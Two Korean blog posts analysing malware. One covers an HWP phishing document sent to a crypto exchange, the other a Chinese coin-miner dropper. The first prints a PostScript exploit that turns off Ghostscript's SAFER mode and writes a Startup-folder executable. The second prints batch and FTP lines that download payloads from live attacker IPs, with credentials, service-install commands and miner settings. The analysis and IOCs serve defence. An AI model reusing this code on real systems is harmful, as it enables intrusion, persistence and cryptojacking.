posted by Kwan's 2019. 12. 19. 11:56

1. 개요

최근 APT(Advanced Persistent Threat) 공격이 증가하고 있는 추세입니다. 최근에는 코인 거래소가 활성화되고, 돈이 되면서 거래소의 관계자를 노리기 위한 공격이 주를 이루고 있습니다. 이번에 분석하게 된 파일은 코인 상장 신청서를 통해 주요 코인거래소에 유포된 것으로 확인된 한글 파일을 간단하게 분석하였습니다. “해당 메일은 코인원 계정에 발송된 것으로 확인되었습니다.

 

2. 최초 이메일 발송 정보

<참고: https://twitter.com/0xD0CF11E0A1B11/status/1191519388865708032>

 

 

2. 파일 정보

파일명

[WhitePaper+소개]신규코인_상장_신청서2.hwp

MD5

95fe089b63c095bfb2b25e8c6914d19d

한글 파일 제목

EXRAYA 백서

파일 생성 날짜

2019년 11월 3일 일요일 오후 4:21:45

비밀번호

12345

 

 

3. 세부 분석 정보 한글 파일

우선 한글 파일을 유포할 시에 암호가 걸려 있는 모습을 확인할 수 있습니다. 암호를 입력한 이유는 악성코드 장비 탐지를 우회하기 위해서 암호를 설정해 놓은 것으로 판단됩니다. 통상적으로 암호가 걸려있으면, 보안 장비에서는 내부에 코드를 읽어 올 수가 없기 때문에 악성인지를 판단하지 못하게 됩니다. 이를 공격자는 활용한 것으로 판단됩니다.

[그림 1. [WhitePaper+소개]신규코인_상장_신청서 한글 파일 실행 시 암호 입력란]

 

한글 파일 암호는 메일 본문에도 나와 있듯이 “12345”가 되겠습니다. 한글 파일을 실행할 경우 첫 페이지는 EXRAYA 백서라는 내용이 나오게 됩니다.

[그림 2. [WhitePaper+소개]신규코인_상장_신청서 한글 파일 실행 시에 등장하는 첫페이지]

 

한글 파일은 모두 글이 아닌 그림으로 31페이지까지 삽입되어 있습니다. 정말 진짜 같이 삽입이 되어 있어서 정상적인 파일로 오해를 할 수 있습니다. 하지만, 이는 공격자가 속이기 위한 방법일 뿐입니다.

이를 위해 삽입되어 있는 그림을 살펴보겠습니다. 페이지는 31페이지 그림은 페이지당 1개입니다. 하지만, 문서 정보를 살펴보면 그림은 32개가 삽입된 것을 확인할 수 있습니다.

[그림 3. 한글 파일에 포함되어 있는 그림 정보]

 

그렇다면 그림 하나가 문서 내에 하나 더 있다는 것이며, 해당 그림을 찾는다면 진짜 이 파일이 악성인지, 정상인지 확인할 수 있습니다. 따라서, 한글 문서를 전반적으로 다시 살펴보겠습니다.

그림 정보를 다시 살펴보면 1페이지에 그림 2개가 삽입되어 있는 것을 확인할 수 있습니다.

[그림 4. 한글 파일에 포함되어 있는 그림 정보]

 

그렇다면 삽입되어 있는 그림은 어디에 있는지 찾아봐야 합니다. 일반적으로 공격자는 그림을 사람이 보지 못하는 크기로 줄여 놓았을 가능성이 높습니다. 하지만, 일반인이 이것을 봤을 때는 찾기가 어렵습니다. 아래 사진은 한글파일의 그림 영역 삽입된 것에 대한 확대 전후 비교입니다.

[그림 5. 그림영역이 포함되어 있는 한글 파일 영역 비교 확대 전(왼쪽), 확대 후(오른쪽)]

 공격자는 최소 그림 픽셀을 통해 수상한 그림을 1페이지에 삽입해 놓았습니다. 본격적으로 그림영역을 살펴보겠습니다. 일단 한글 파일 실행 시 그림파일이 저장된 폴더를 들어가면 JPG 외에 PS라는 파일이 보입니다.

[그림 6. 한글파일 실행 시 그림파일이 저장된 폴더 내에 파일]

 

폴더 내용을 살펴보면, 그림파일 외에 .ps라는 파일이 존재합니다. 이는 공격자가 악의적인 목적으로 파일을 실행하기 위해 한글 취약점을 활용하여 데이터를 삽입하였습니다. ps 파일은 2MB 정도 되고 그림파일 치고는 크다고 볼 수 있습니다. 내부 파일을 살펴보면, 스크립트 형태로 되어 있는 모습을 살펴볼 수 있습니다.

[그림 7. .ps 파일 내에 스크립트 값]

 

4D5A의 형태는 EXE 실행파일의 형태라고 할 수 있으며, 이는 buf0 영역에 삽입되어 있는 상태입니다. 이것만 있는다고 해서 파일이 실행되는 게 아닙니다. 각 buf에 저장되어 있는 값이 최종적으로 file0에 합쳐지면서 하나의 파일이 완성되는 형태라고 할 수 있습니다. 이후 파일은 환경 설정에 정의되어 있는 \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 폴더에 update.exe 파일 명으로 저장됩니다.

/1Policy { SETPDDEBUG { (Rolling back.) = pstack flush } if 3 index 2 index 3 -1 roll .X55 4 index 1 index .knownget { 4 index 3 1 roll .X55 } { 3 index exch .undef } ifelse } bind executeonly odef /.X55 { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1 get exec pop pop pop pop pop pop pop } def systemdict /SAFER false .X55 systemdict /userparams get /PermitFileControl [(*)] .X55 systemdict /userparams get /PermitFileWriting [(*)] .X55 systemdict /userparams get /PermitFileReading [(*)] .X55

/popmenuw{

           exch dup 3 pop length 3 pop 2 index 5 pop length add string dup dup 4 2 pop 3 pop 2 roll 2 pop 3 pop copy

           2 pop 3 pop length 2 pop 3 pop 4 -1 roll putinterval

}bind def

(appdata) getenv pop /envstr exch def

envstr(\\Microsoft\\Windows\\Start ) popmenuw/patho exch def

patho(Menu\\Programs\\StartUp\\update.exe) popmenuw/path4 exch def // 파일 저장

{ currentfile buf readhexstring pop }

 

path4 (w) file /file0 exch def

file0 buf0 writestring

file0 closefile

 

path4 (a) file /file0 exch def

file0 buf1 writestring

file0 closefile

[중략]

path4 (a) file /file0 exch def

file0 buf65 writestring

file0 closefile

 

(%pipe%)path4 popmenuw/pathzz exch def

 

a0

{ null restore } stopped { pop } if

(ppmraw) selectdevice

legal

mark /OutputFile pathzz currentdevice putdeviceprops

{ showpage } stopped pop

quit

 

4. 세부분석 정보 – 파일

한글 파일을 통해 생성된 정보는 아래와 같습니다. 생성된 파일은 slack-files.com을 통해 C2 연결을 합니다. Slack를 활용하는 것은 CDN 서버의 장점을 통해 중단 없이 계속해서 파일을 받을 수 있기 때문으로 판단되며, 추가 다운로드는 진행되지 않고 있는 상태입니다.

[그림 8. update.exe 파일이 저장되어 있는 폴더]

 

[그림 9. 생성된 update.exe에 대한 파일 정보]

 

[그림 10. slack-file.com을 연결하기 위한 코드 일부분]

 

공격자는 중복 실행을 방지하기 위해 mutex라는 함수를 설정해 놓았습니다.

Mutex : RuntimeBroker

[그림 11. 중복 실행 방지를 위한 createmutex 부분]

 

Slack 접속 시에 URI 복호화 부분 (Stack address=0040C918, (ASCII "GET /TPCBPBQD8-FPQRX8SBD-0c03d3b809 HTTP/1.0 Host: slack-files.com User-Agent: Google Connection: close)

[그림 12. slack-files.com을 접속하기 위한 헤더 및 복호화 부분]

 

[그림 13. Slack-files.com이랑 통신하는 모습]

댓글을 달아 주세요

posted by Kwan's 2019. 12. 19. 11:15

안녕하세요?

올만에 글을 쓰게 됩니다.

 

이번에 글을 쓰는 이유는 올만에 파일을 발견하였기 때문입니다.

간락히 쓰고 그냥 MD5 공유 하려고 합니다.

 

1. dll.bat - 인터넷에서 감염 추정 (8월 16일) / 파일 발견 일자 (9월 17일)

2. .bat 파일 구조

 

3. .bat 파일 실행 구조 (핵심)

 

@echo off (웹 다운로드 부분)

taskkill /im 3.exe /f

md c:\windows\hashfish

del c:\windows\hashfish\3.exe

call :http "http://120.236.74.201:74/3.exe" c:\windows\hashfish\3.exe // SFX 압축 파일 (채굴 위한 악성코드)

ping 127.0.0.1 -n 2 >nul

if exist "c:\windows\hashfish\3.exe" (goto jc3)

 

-------------------------------------

 

@echo off (FTP를 통한 다운로드 로그인 불가)

(echo open 43.226.50.42

echo host908075088

echo ZHAOxin199

echo lcd "c:\windows\hashfish"

echo get 3.exe

echo bye)>ftp$

ftp -s:ftp$

del ftp$

 

--------------------------------------

 

:http

cscript -nologo -e:jscript "%~f0" "%~1" "%~2" //cssript 를 통한 파일 다운로드

 

[실행 시] // 다운로드 불가

cscript  -nologo -e:jscript "C:\Users\Administrator\Desktop\3.bat" "http://120.236.74.201:74/3.exe" "c:\windows\hashfish\3.exe"

 

4. 3.exe 실행 구조

 

3.exe는 SFX 압축 형태로 되어 있습니다.

따라서, 파일이 실행시 내부에 있는 명령어가 함께 동작을 하는 방식 입니다.

 

파일이 실행 될 경우 사용되는 명령어

Path=c:\windows\hashfish //파일 위치

SavePath

Setup=2.vbs // 실행 VBS

Silent=1 // 실행 모드

Overwrite=1 // 덮어 쓰기

Update=U // 업데이트

 

파일을 최초 실행 하면 c:\windows\hashfish에 저장되고 2.vbs를 실행 합니다.

CreateObject("WScript.Shell").Run "cmd /c c:\windows\hashfish\2.bat",0

 

다시 2.vbs는 2.bat를 실행 합니다.

c:\windows\hashfish\nssm6.exe install "ipconfig" "c:\windows\hashfish\snshost.exe"

c:\windows\hashfish\nssm3.exe install "ipconfig" "c:\windows\hashfish\snshost.exe"

net start ipconfig

del c:\windows\hashfish\dll.bat

 

2.bat를 통해 snshost.exe를 ipconfig 명으로 서비스 등록을 합니다.

 

코인 채굴이 시작되기 전 config.ini와 함께 api 서버에 접속 한 후 실행되게 됩니다.

이 과정에서 컴퓨터 정보를 전송 하는 역할도 합니다.

 

[default]

Language=zh

mid=

DisplayMid=

EncryptMid=ph_r1RwF1iERERyfx0=

used_num=15

worker=2019

[setting]

auto_run=1

CoinDisplayBalance=btc

auto_mining=01

hidetotray=01

[running]

start=1569225648

run=1569225647

[time]

quittime_h=0

quittime_l=1565837862

helperstarttime_h=0

helperstarttime_l=1569225647

ShowMachine=5

minetime_h=0

minetime_l=1565188165

 

 

5. 파일 정보 (MD5)

 

[메인 파일 정보]

dll.bat b380ba1f5f9e11d23909d541bd55893a

3.exe e467eaed2de807187cdfa41be3c9cee0

 

[부가적 파일 정보]

2.bat c786d194083d92f88d25eee528b6cb72

2.vbs fff342920954b3870bb7cbc09ccf70e6

config.ini a438050843f12d2056dfee56c6f03bf8

nssm3.exe bd3b9dac9198c57238d236435bf391ca

nssm6.exe 1136efb1a46d1f2d508162387f30dc4d

snshost.exe 38c2f3d459bc7d7160b927b785b782cc

7z.dll 3355159514ca435f662283af71ab0c84

hashfish_eth_ethminer_x64_cuda80_1.7.0.7z 02614562829ab6069c6f9df38382644c

hashfish_xmr_xmrig_x64_2.9.1.7z 5736772d694f7e9d584f263f6651f948

hashfish_xmr_xmrig_x64_cuda80_2.9.1.7z 11cf8f7e2adb2c022984c33e8462ee49

hashfish_xmr_xmrig_x86_2.9.1.7z 82c3f484c4407022ce89f57c53a26c2b

hfadl.dll 0d89896ebbd2a1b98523725bd056234e

HFHelper32.exe - f7c2ea83274c3e33558a4a386d2d637a

HFHelper64.exe - 1d3cb092fde6419ec594949dc880327b

 

[C2 정보]

120.236.74.201:74 (CN) // WEB

43.226.50.42 (CN) // FTP

 

[채굴 정보]

cn1.hfsvr.com:19893 -u ph_r1RwF1iERERyfx0= -p aGFzaGZpc2g6OjFkODRjNmM3YjBiZDMxZGRmZTQ0ZDhhZmI1YWYzY2I4

댓글을 달아 주세요